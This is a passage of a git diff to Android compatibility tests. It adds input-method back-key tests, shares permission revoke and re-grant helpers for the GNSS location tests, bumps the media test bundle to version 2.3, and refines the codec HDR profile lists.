return callCommandInternal("getDisplayId", params);
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
index 3591ffa..ac95dc8 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
@@ -244,6 +244,76 @@
}
}
+ private void verifyHideImeBackPressed(
+ boolean appRequestsLegacy, boolean imeRequestsLegacy) throws Exception {
+ final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+ final InputMethodManager imm = InstrumentationRegistry.getInstrumentation()
+ .getTargetContext().getSystemService(InputMethodManager.class);
+
+ try (MockImeSession imeSession = MockImeSession.create(
+ instrumentation.getContext(),
+ instrumentation.getUiAutomation(),
+ new ImeSettings.Builder())) {
+ final ImeEventStream stream = imeSession.openEventStream();
+
+ final String marker = getTestMarker();
+ final EditText editText = launchTestActivity(marker);
+ final TestActivity testActivity = (TestActivity) editText.getContext();
+ if (appRequestsLegacy) {
+ testActivity.getApplicationInfo().setEnableOnBackInvokedCallback(true);
+ testActivity.setIgnoreBackKey(true);
+ }
+ if (imeRequestsLegacy) {
+ imeSession.callSetEnableOnBackInvokedCallback(true);
+ }
+
+ expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+ notExpectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+ expectImeInvisible(TIMEOUT);
+
+ assertTrue("isActive() must return true if the View has IME focus",
+ getOnMainSync(() -> imm.isActive(editText)));
+
+ // Test showSoftInput() flow
+ assertTrue("showSoftInput must success if the View has IME focus",
+ getOnMainSync(() -> imm.showSoftInput(editText, 0)));
+
+ expectEvent(stream, showSoftInputMatcher(InputMethod.SHOW_EXPLICIT), TIMEOUT);
+ expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+ expectEventWithKeyValue(stream, "onWindowVisibilityChanged", "visible",
+ View.VISIBLE, TIMEOUT);
+ expectImeVisible(TIMEOUT);
+
+ // Pressing back key, expect soft-keyboard will become invisible.
+ instrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_BACK);
+ expectEvent(stream, hideSoftInputMatcher(), TIMEOUT);
+ expectEvent(stream, onFinishInputViewMatcher(false), TIMEOUT);
+ expectEventWithKeyValue(stream, "onWindowVisibilityChanged", "visible",
+ View.GONE, TIMEOUT);
+ expectImeInvisible(TIMEOUT);
+ }
+ }
+
+ @Test
+ public void testHideImeAfterBackPressed_legacyAppLegacyIme() throws Exception {
+ verifyHideImeBackPressed(true /* appRequestsLegacy */, true /* imeRequestsLegacy */);
+ }
+
+ @Test
+ public void testHideImeAfterBackPressed_migratedAppLegacyIme() throws Exception {
+ verifyHideImeBackPressed(false /* appRequestsLegacy */, true /* imeRequestsLegacy */);
+ }
+
+ @Test
+ public void testHideImeAfterBackPressed_migratedAppMigratedIme() throws Exception {
+ verifyHideImeBackPressed(false /* appRequestsLegacy */, false /* imeRequestsLegacy */);
+ }
+
+ @Test
+ public void testHideImeAfterBackPressed_legacyAppMigratedIme() throws Exception {
+ verifyHideImeBackPressed(true /* appRequestsLegacy */, false /* imeRequestsLegacy */);
+ }
+
@Test
public void testShowHideSoftInputShouldBeIgnoredOnNonFocusedView() throws Exception {
final InputMethodManager imm = InstrumentationRegistry.getInstrumentation()
diff --git a/tests/inputmethod/util/src/android/view/inputmethod/cts/util/TestActivity.java b/tests/inputmethod/util/src/android/view/inputmethod/cts/util/TestActivity.java
index 66ef1e2..2b12a3c 100644
--- a/tests/inputmethod/util/src/android/view/inputmethod/cts/util/TestActivity.java
+++ b/tests/inputmethod/util/src/android/view/inputmethod/cts/util/TestActivity.java
@@ -31,6 +31,8 @@
import android.view.Window;
import android.view.WindowManager;
import android.widget.TextView;
+import android.window.OnBackInvokedCallback;
+import android.window.OnBackInvokedDispatcher;
import androidx.annotation.AnyThread;
import androidx.annotation.NonNull;
@@ -56,6 +58,10 @@
private long mOnBackPressedCallCount;
private TextView mOverlayView;
+ private OnBackInvokedCallback mIgnoreBackKeyCallback = () -> {
+ // Ignore back.
+ };
+ private Boolean mIgnoreBackKeyCallbackRegistered = false;
/**
* Controls how {@link #onBackPressed()} behaves.
@@ -69,6 +75,19 @@
@AnyThread
public void setIgnoreBackKey(boolean ignore) {
mIgnoreBackKey.set(ignore);
+ if (ignore) {
+ if (!mIgnoreBackKeyCallbackRegistered) {
+ getOnBackInvokedDispatcher().registerOnBackInvokedCallback(
+ OnBackInvokedDispatcher.PRIORITY_DEFAULT, mIgnoreBackKeyCallback);
+ mIgnoreBackKeyCallbackRegistered = true;
+ }
+ } else {
+ if (mIgnoreBackKeyCallbackRegistered) {
+ getOnBackInvokedDispatcher().unregisterOnBackInvokedCallback(
+ mIgnoreBackKeyCallback);
+ mIgnoreBackKeyCallbackRegistered = false;
+ }
+ }
}
@UiThread
@@ -102,6 +121,10 @@
.getSystemService(WindowManager.class).removeView(mOverlayView);
mOverlayView = null;
}
+ if (mIgnoreBackKeyCallbackRegistered) {
+ getOnBackInvokedDispatcher().unregisterOnBackInvokedCallback(mIgnoreBackKeyCallback);
+ mIgnoreBackKeyCallbackRegistered = false;
+ }
}
/**
diff --git a/tests/location/common/src/android/location/cts/common/TestUtils.java b/tests/location/common/src/android/location/cts/common/TestUtils.java
index 75c2b27..0caf3ea 100644
--- a/tests/location/common/src/android/location/cts/common/TestUtils.java
+++ b/tests/location/common/src/android/location/cts/common/TestUtils.java
@@ -16,14 +16,17 @@
package android.location.cts.common;
+import android.app.UiAutomation;
import android.content.Context;
+import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.util.Log;
-
+import androidx.test.InstrumentationRegistry;
import com.android.compatibility.common.util.SystemUtil;
-
+import java.util.ArrayList;
+import java.util.List;
import java.util.concurrent.Callable;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -157,4 +160,62 @@
Thread.sleep(DATA_CONNECTION_CHECK_INTERVAL_MS);
}
}
+
+ public static List<String> getPackagesWithPermissions(String permission) {
+ UiAutomation uiAnimation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ Context context = InstrumentationRegistry.getTargetContext();
+ PackageManager pm = context.getPackageManager();
+
+ ArrayList<String> packagesWithPermission = new ArrayList<>();
+ List<ApplicationInfo> packages = pm.getInstalledApplications(/*flags=*/0);
+
+ for (ApplicationInfo applicationInfo : packages) {
+ String packageName = applicationInfo.packageName;
+ if (packageName.equals(context.getPackageName())) {
+ // Don't include this test package.
+ continue;
+ }
+
+ if (pm.checkPermission(permission, packageName) == PackageManager.PERMISSION_GRANTED) {
+ final int flags;
+ uiAnimation.adoptShellPermissionIdentity(
+ "android.permission.GET_RUNTIME_PERMISSIONS");
+ try {
+ flags = pm.getPermissionFlags(
+ permission, packageName, android.os.Process.myUserHandle());
+ } finally {
+ uiAnimation.dropShellPermissionIdentity();
+ }
+
+ final boolean fixed =
+ (flags
+ & (PackageManager.FLAG_PERMISSION_USER_FIXED
+ | PackageManager.FLAG_PERMISSION_POLICY_FIXED
+ | PackageManager.FLAG_PERMISSION_SYSTEM_FIXED))
+ != 0;
+ if (!fixed) {
+ packagesWithPermission.add(packageName);
+ }
+ }
+ }
+ return packagesWithPermission;
+ }
+
+ public static List<String> revokePermissions(String permission) {
+ UiAutomation uiAnimation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ List<String> packages = getPackagesWithPermissions(permission);
+ for (String packageWithPermission : packages) {
+ Log.i(TAG, "Revoking permissions from: " + packageWithPermission);
+ uiAnimation.revokeRuntimePermission(packageWithPermission, permission);
+ }
+ return packages;
+ }
+
+ public static void grantLocationPermissions(String permission, List<String> packages) {
+ UiAutomation uiAnimation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ for (String packageToGivePermission : packages) {
+ Log.i(TAG, "Granting permissions (back) to: " + packageToGivePermission);
+ uiAnimation.grantRuntimePermission(packageToGivePermission, permission);
+ }
+ }
}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
index 81fdb5a..bac8721 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
@@ -77,10 +77,12 @@
import android.location.cts.common.gnss.GnssMeasurementsCapture;
import android.location.cts.common.gnss.GnssNavigationMessageCapture;
import android.location.provider.ProviderProperties;
+import android.os.Build;
import android.os.HandlerThread;
import android.os.Looper;
import android.os.PowerManager;
import android.os.SystemClock;
+import android.os.SystemProperties;
import android.os.UserHandle;
import android.platform.test.annotations.AppModeFull;
import android.provider.DeviceConfig;
@@ -1216,6 +1218,8 @@
@Test
public void testRequestFlush_Gnss() throws Exception {
+ assumeTrue(SystemProperties.getInt("ro.product.first_api_level", 0)
+ >= Build.VERSION_CODES.S);
assumeTrue(mManager.hasProvider(GPS_PROVIDER));
try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
@@ -2006,4 +2010,4 @@
automation.dropShellPermissionIdentity();
}
}
-}
\ No newline at end of file
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssAntennaInfoTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssAntennaInfoTest.java
index d937498..e3d85e6 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssAntennaInfoTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssAntennaInfoTest.java
@@ -1,5 +1,8 @@
package android.location.cts.gnss;
+import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
+import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
@@ -12,7 +15,9 @@
import android.location.cts.common.TestGnssStatusCallback;
import android.location.cts.common.TestLocationManager;
import android.location.cts.common.TestMeasurementUtil;
+import android.location.cts.common.TestUtils;
import android.os.Looper;
+import android.platform.test.annotations.AppModeFull;
import androidx.test.core.app.ApplicationProvider;
@@ -45,6 +50,7 @@
* GnssStatus.
*/
@Test
+ @AppModeFull(reason = "Instant apps cannot access package manager to scan for permissions")
public void testGnssAntennaInfoValues() throws Exception {
// Checks if GPS hardware feature is present, skips test (pass) if not
assumeTrue(TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG));
@@ -53,22 +59,33 @@
assumeTrue(
mTestLocationManager.getLocationManager().getGnssCapabilities().hasAntennaInfo());
- // Registers GnssStatus Listener
- TestGnssStatusCallback testGnssStatusCallback =
- new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
- checkGnssChange(testGnssStatusCallback);
+ // Revoke location permissions from packages before running GnssStatusTest stops
+ // active location requests, allowing this test to receive all necessary Gnss callbacks.
+ List<String> courseLocationPackages = TestUtils.revokePermissions(ACCESS_COARSE_LOCATION);
+ List<String> fineLocationPackages = TestUtils.revokePermissions(ACCESS_FINE_LOCATION);
- float[] carrierFrequencies = testGnssStatusCallback.getCarrierFrequencies();
- List<GnssAntennaInfo> antennaInfos =
- mTestLocationManager.getLocationManager().getGnssAntennaInfos();
+ try {
+ // Registers GnssStatus Listener
+ TestGnssStatusCallback testGnssStatusCallback =
+ new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
+ checkGnssChange(testGnssStatusCallback);
- assertThat(antennaInfos).isNotNull();
- for (GnssAntennaInfo antennaInfo : antennaInfos) {
- double antennaInfoFreqHz = antennaInfo.getCarrierFrequencyMHz() * HZ_PER_MHZ;
- assertWithMessage(
- "Carrier frequency in GnssAntennaInfo must be found in GnssStatus.").that(
- carrierFrequencies).usingTolerance(CARRIER_FREQ_TOLERANCE_HZ).contains(
- antennaInfoFreqHz);
+ float[] carrierFrequencies = testGnssStatusCallback.getCarrierFrequencies();
+ List<GnssAntennaInfo> antennaInfos =
+ mTestLocationManager.getLocationManager().getGnssAntennaInfos();
+
+ assertThat(antennaInfos).isNotNull();
+ for (GnssAntennaInfo antennaInfo : antennaInfos) {
+ double antennaInfoFreqHz = antennaInfo.getCarrierFrequencyMHz() * HZ_PER_MHZ;
+ assertWithMessage(
+ "Carrier frequency in GnssAntennaInfo must be found in GnssStatus.").that(
+ carrierFrequencies).usingTolerance(CARRIER_FREQ_TOLERANCE_HZ).contains(
+ antennaInfoFreqHz);
+ }
+ } finally {
+ // For each location package, re-grant the permission
+ TestUtils.grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
+ TestUtils.grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
}
}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
index f45e283..dfaf081 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
@@ -16,6 +16,9 @@
package android.location.cts.gnss;
+import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
+import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+
import android.location.Location;
import android.location.LocationManager;
import android.location.cts.common.GnssTestCase;
@@ -24,6 +27,8 @@
import android.location.cts.common.TestLocationListener;
import android.location.cts.common.TestLocationManager;
import android.location.cts.common.TestMeasurementUtil;
+import android.location.cts.common.TestUtils;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import junit.framework.Assert;
@@ -89,13 +94,25 @@
/**
* Tests the location update intervals are within expected thresholds.
*/
+ @AppModeFull(reason = "Instant apps cannot access package manager to scan for permissions")
public void testLocationUpdatesAtVariousIntervals() throws Exception {
if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
- for (int fixIntervalMillis : FIX_INTERVALS_MILLIS) {
- testLocationUpdatesAtInterval(fixIntervalMillis);
+ // Revoke location permissions from packages before running GnssStatusTest stops
+ // active location requests, allowing this test to receive all necessary Gnss callbacks.
+ List<String> courseLocationPackages = TestUtils.revokePermissions(ACCESS_COARSE_LOCATION);
+ List<String> fineLocationPackages = TestUtils.revokePermissions(ACCESS_FINE_LOCATION);
+
+ try {
+ for (int fixIntervalMillis : FIX_INTERVALS_MILLIS) {
+ testLocationUpdatesAtInterval(fixIntervalMillis);
+ }
+ } finally {
+ // For each location package, re-grant the permission
+ TestUtils.grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
+ TestUtils.grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
}
}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
index 76a89a9..7216703 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
@@ -4,10 +4,7 @@
import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
import static android.Manifest.permission.ACCESS_FINE_LOCATION;
-import android.app.UiAutomation;
import android.content.Context;
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageManager;
import android.location.GnssStatus;
import android.location.cts.common.GnssTestCase;
import android.location.cts.common.SoftAssert;
@@ -15,12 +12,10 @@
import android.location.cts.common.TestLocationListener;
import android.location.cts.common.TestLocationManager;
import android.location.cts.common.TestMeasurementUtil;
+import android.location.cts.common.TestUtils;
import android.platform.test.annotations.AppModeFull;
import android.util.Log;
-import androidx.test.InstrumentationRegistry;
-
-import java.util.ArrayList;
import java.util.List;
public class GnssStatusTest extends GnssTestCase {
@@ -28,13 +23,11 @@
private static final String TAG = "GnssStatusTest";
private static final int LOCATION_TO_COLLECT_COUNT = 1;
private static final int STATUS_TO_COLLECT_COUNT = 3;
- private UiAutomation mUiAutomation;
@Override
protected void setUp() throws Exception {
super.setUp();
mTestLocationManager = new TestLocationManager(getContext());
- mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
}
/**
@@ -49,8 +42,8 @@
// Revoke location permissions from packages before running GnssStatusTest stops
// active location requests, allowing this test to receive all necessary Gnss callbacks.
- List<String> courseLocationPackages = revokePermissions(ACCESS_COARSE_LOCATION);
- List<String> fineLocationPackages = revokePermissions(ACCESS_FINE_LOCATION);
+ List<String> courseLocationPackages = TestUtils.revokePermissions(ACCESS_COARSE_LOCATION);
+ List<String> fineLocationPackages = TestUtils.revokePermissions(ACCESS_FINE_LOCATION);
try {
// Register Gps Status Listener.
@@ -59,8 +52,8 @@
checkGnssChange(testGnssStatusCallback);
} finally {
// For each location package, re-grant the permission
- grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
- grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
+ TestUtils.grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
+ TestUtils.grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
}
}
@@ -90,18 +83,31 @@
/**
* Tests values of {@link GnssStatus}.
*/
+ @AppModeFull(reason = "Instant apps cannot access package manager to scan for permissions")
public void testGnssStatusValues() throws InterruptedException {
// Checks if GPS hardware feature is present, skips test (pass) if not
if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
return;
}
- SoftAssert softAssert = new SoftAssert(TAG);
- // Register Gps Status Listener.
- TestGnssStatusCallback testGnssStatusCallback =
- new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
- checkGnssChange(testGnssStatusCallback);
- validateGnssStatus(testGnssStatusCallback.getGnssStatus(), softAssert);
- softAssert.assertAll();
+
+ // Revoke location permissions from packages before running GnssStatusTest stops
+ // active location requests, allowing this test to receive all necessary Gnss callbacks.
+ List<String> courseLocationPackages = TestUtils.revokePermissions(ACCESS_COARSE_LOCATION);
+ List<String> fineLocationPackages = TestUtils.revokePermissions(ACCESS_FINE_LOCATION);
+
+ try {
+ SoftAssert softAssert = new SoftAssert(TAG);
+ // Register Gps Status Listener.
+ TestGnssStatusCallback testGnssStatusCallback =
+ new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
+ checkGnssChange(testGnssStatusCallback);
+ validateGnssStatus(testGnssStatusCallback.getGnssStatus(), softAssert);
+ softAssert.assertAll();
+ } finally {
+ // For each location package, re-grant the permission
+ TestUtils.grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
+ TestUtils.grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
+ }
}
/**
@@ -155,55 +161,4 @@
Log.i(TAG, "usedInFix: " + status.usedInFix(i));
}
}
-
- private List<String> getPackagesWithPermissions(String permission) {
- Context context = InstrumentationRegistry.getTargetContext();
- PackageManager pm = context.getPackageManager();
-
- ArrayList<String> packagesWithPermission = new ArrayList<>();
- List<ApplicationInfo> packages = pm.getInstalledApplications(/*flags=*/ 0);
-
- for (ApplicationInfo applicationInfo : packages) {
- String packageName = applicationInfo.packageName;
- if (packageName.equals(context.getPackageName())) {
- // Don't include this test package.
- continue;
- }
-
- if (pm.checkPermission(permission, packageName) == PackageManager.PERMISSION_GRANTED) {
- final int flags;
- mUiAutomation.adoptShellPermissionIdentity("android.permission.GET_RUNTIME_PERMISSIONS");
- try {
- flags = pm.getPermissionFlags(permission, packageName,
- android.os.Process.myUserHandle());
- } finally {
- mUiAutomation.dropShellPermissionIdentity();
- }
-
- final boolean fixed = (flags & (PackageManager.FLAG_PERMISSION_USER_FIXED
- | PackageManager.FLAG_PERMISSION_POLICY_FIXED
- | PackageManager.FLAG_PERMISSION_SYSTEM_FIXED)) != 0;
- if (!fixed) {
- packagesWithPermission.add(packageName);
- }
- }
- }
- return packagesWithPermission;
- }
-
- private List<String> revokePermissions(String permission) {
- List<String> packages = getPackagesWithPermissions(permission);
- for (String packageWithPermission : packages) {
- Log.i(TAG, "Revoking permissions from: " + packageWithPermission);
- mUiAutomation.revokeRuntimePermission(packageWithPermission, permission);
- }
- return packages;
- }
-
- private void grantLocationPermissions(String permission, List<String> packages) {
- for (String packageToGivePermission : packages) {
- Log.i(TAG, "Granting permissions (back) to: " + packageToGivePermission);
- mUiAutomation.grantRuntimePermission(packageToGivePermission, permission);
- }
- }
}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
index 1930c1a..1502f0c 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
@@ -5,6 +5,7 @@
import android.location.cts.common.TestGnssStatusCallback;
import android.location.cts.common.TestLocationListener;
import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
import android.location.cts.common.TestUtils;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
@@ -55,6 +56,11 @@
return;
}
+ // Network connection isn't required for automotive devices.
+ if (TestMeasurementUtil.isAutomotiveDevice(getContext())) {
+ return;
+ }
+
ensureNetworkStatus();
if (hasCellularData()) {
checkTtffColdWithWifiOn(TTFF_WITH_WIFI_CELLUAR_COLD_TH_SECS);
diff --git a/tests/media/AndroidTest.xml b/tests/media/AndroidTest.xml
index 410b5da..6dc4631 100644
--- a/tests/media/AndroidTest.xml
+++ b/tests/media/AndroidTest.xml
@@ -26,7 +26,7 @@
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
- <option name="media-folder-name" value="CtsMediaV2TestCases-2.2" />
+ <option name="media-folder-name" value="CtsMediaV2TestCases-2.3" />
<option name="dynamic-config-module" value="CtsMediaV2TestCases" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/media/DynamicConfig.xml b/tests/media/DynamicConfig.xml
index 467b958..74f76c5 100644
--- a/tests/media/DynamicConfig.xml
+++ b/tests/media/DynamicConfig.xml
@@ -1,5 +1,5 @@
<dynamicConfig>
<entry key="media_files_url">
- <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.2.zip</value>
+ <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.3.zip</value>
</entry>
</dynamicConfig>
diff --git a/tests/media/README.md b/tests/media/README.md
index adbc1c4..00fd0c1 100644
--- a/tests/media/README.md
+++ b/tests/media/README.md
@@ -3,7 +3,7 @@
The aim of these tests is not solely to verify the CDD requirements but also to test components, their plugins and their interactions with media framework.
-The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.2.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
+The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.3.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
All Big Buck Bunny(bbb) test vectors are of 8-bit format. They are downloaded from [link](https://peach.blender.org/download/) and resampled according to the test requirements.
All Cosmos Laundromat(cosmat) test vectors are of 10-bit format. They are downloaded from [link](https://media.xiph.org/) and resampled according to the test requirements.
diff --git a/tests/media/copy_media.sh b/tests/media/copy_media.sh
index 95ff70e..df67e307 100755
--- a/tests/media/copy_media.sh
+++ b/tests/media/copy_media.sh
@@ -17,7 +17,7 @@
## script to install mediav2 test files manually
adbOptions=" "
-resLabel=CtsMediaV2TestCases-2.2
+resLabel=CtsMediaV2TestCases-2.3
srcDir="/tmp/$resLabel"
tgtDir="/sdcard/test"
usage="Usage: $0 [-h] [-s serial]"
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
index ae7782c..e8243f8 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
@@ -99,9 +99,13 @@
public void setUp() throws IOException, InterruptedException {
MediaFormat format = setUpSource(mTestFile);
mExtractor.release();
- ArrayList<MediaFormat> formatList = new ArrayList<>();
- formatList.add(format);
- checkFormatSupport(mCodecName, mMime, false, formatList, null, mSupportRequirements);
+ if (IS_Q) {
+ Log.i(LOG_TAG, "Android 10: skip checkFormatSupport() for format " + format);
+ } else {
+ ArrayList<MediaFormat> formatList = new ArrayList<>();
+ formatList.add(format);
+ checkFormatSupport(mCodecName, mMime, false, formatList, null, mSupportRequirements);
+ }
mActivityRule.getScenario().onActivity(activity -> mActivity = activity);
setUpSurface(mActivity);
}
diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderValidationTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderValidationTest.java
index 63b1b2c..5f17678 100644
--- a/tests/media/src/android/mediav2/cts/CodecEncoderValidationTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecEncoderValidationTest.java
@@ -42,9 +42,6 @@
@RunWith(Parameterized.class)
public class CodecEncoderValidationTest extends CodecEncoderTestBase {
- private static final String INPUT_AUDIO_FILE_HBD = "audio/sd_2ch_48kHz_f32le.raw";
- private static final String INPUT_VIDEO_FILE_HBD = "cosmat_cif_24fps_yuv420p16le.yuv";
-
private final boolean mUseHBD;
// Key: mediaType, Value: tolerance duration in ms
private static final Map<String, Integer> toleranceMap = new HashMap<>();
diff --git a/tests/media/src/android/mediav2/cts/CodecTestBase.java b/tests/media/src/android/mediav2/cts/CodecTestBase.java
index 6ec5f47..8d7e86e 100644
--- a/tests/media/src/android/mediav2/cts/CodecTestBase.java
+++ b/tests/media/src/android/mediav2/cts/CodecTestBase.java
@@ -40,6 +40,7 @@
import androidx.annotation.NonNull;
import androidx.test.platform.app.InstrumentationRegistry;
+import org.junit.After;
import org.junit.Assert;
import org.junit.Assume;
import org.junit.Before;
@@ -61,6 +62,8 @@
import java.util.concurrent.locks.Condition;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
import java.util.stream.IntStream;
import java.util.zip.CRC32;
@@ -72,6 +75,7 @@
import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
import static android.media.MediaCodecInfo.CodecProfileLevel.*;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -582,6 +586,7 @@
}
abstract class CodecTestBase {
+ public static final boolean IS_Q = ApiLevelUtil.getApiLevel() == Build.VERSION_CODES.Q;
public static final boolean IS_AT_LEAST_R = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
// Checking for CODENAME helps in cases when build version on the development branch isn't
// updated yet but CODENAME is updated.
@@ -599,6 +604,8 @@
CODEC_DEFAULT, // Default codec must support
CODEC_OPTIONAL // Codec support is optional
}
+ static final String HDR_STATIC_INFO =
+ "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 e8 03 64 00 e8 03 2c 01";
static final String CODEC_PREFIX_KEY = "codec-prefix";
static final String MEDIA_TYPE_PREFIX_KEY = "media-type-prefix";
@@ -608,6 +615,9 @@
static final Map<String, String> mDefaultDecoders = new HashMap<>();
static final HashMap<String, int[]> mProfileMap = new HashMap<>();
static final HashMap<String, int[]> mProfileSdrMap = new HashMap<>();
+ static final HashMap<String, int[]> mProfileHlgMap = new HashMap<>();
+ static final HashMap<String, int[]> mProfileHdr10Map = new HashMap<>();
+ static final HashMap<String, int[]> mProfileHdr10PlusMap = new HashMap<>();
static final HashMap<String, int[]> mProfileHdrMap = new HashMap<>();
static final boolean ENABLE_LOGS = false;
static final int PER_TEST_TIMEOUT_LARGE_TEST_MS = 300000;
@@ -633,20 +643,29 @@
static final int[] AVC_SDR_PROFILES = new int[]{AVCProfileBaseline, AVCProfileMain,
AVCProfileExtended, AVCProfileHigh, AVCProfileConstrainedBaseline,
AVCProfileConstrainedHigh};
- static final int[] AVC_HDR_PROFILES = new int[]{AVCProfileHigh10, AVCProfileHigh422,
- AVCProfileHigh444};
+ static final int[] AVC_HLG_PROFILES = new int[]{AVCProfileHigh10};
+ static final int[] AVC_HDR_PROFILES = AVC_HLG_PROFILES;
static final int[] AVC_PROFILES = combine(AVC_SDR_PROFILES, AVC_HDR_PROFILES);
- static final int[] VP9_SDR_PROFILES = new int[]{VP9Profile0, VP9Profile1};
- static final int[] VP9_HDR_PROFILES = new int[]{VP9Profile2, VP9Profile3,
- VP9Profile2HDR, VP9Profile3HDR, VP9Profile2HDR10Plus, VP9Profile3HDR10Plus};
+ static final int[] VP9_SDR_PROFILES = new int[]{VP9Profile0};
+ static final int[] VP9_HLG_PROFILES = new int[]{VP9Profile2};
+ static final int[] VP9_HDR10_PROFILES = new int[]{VP9Profile2HDR};
+ static final int[] VP9_HDR10Plus_PROFILES = new int[]{VP9Profile2HDR10Plus};
+ static final int[] VP9_HDR_PROFILES =
+ combine(VP9_HLG_PROFILES, combine(VP9_HDR10_PROFILES, VP9_HDR10Plus_PROFILES));
static final int[] VP9_PROFILES = combine(VP9_SDR_PROFILES, VP9_HDR_PROFILES);
static final int[] HEVC_SDR_PROFILES = new int[]{HEVCProfileMain, HEVCProfileMainStill};
- static final int[] HEVC_HDR_PROFILES = new int[]{HEVCProfileMain10,
- HEVCProfileMain10HDR10, HEVCProfileMain10HDR10Plus};
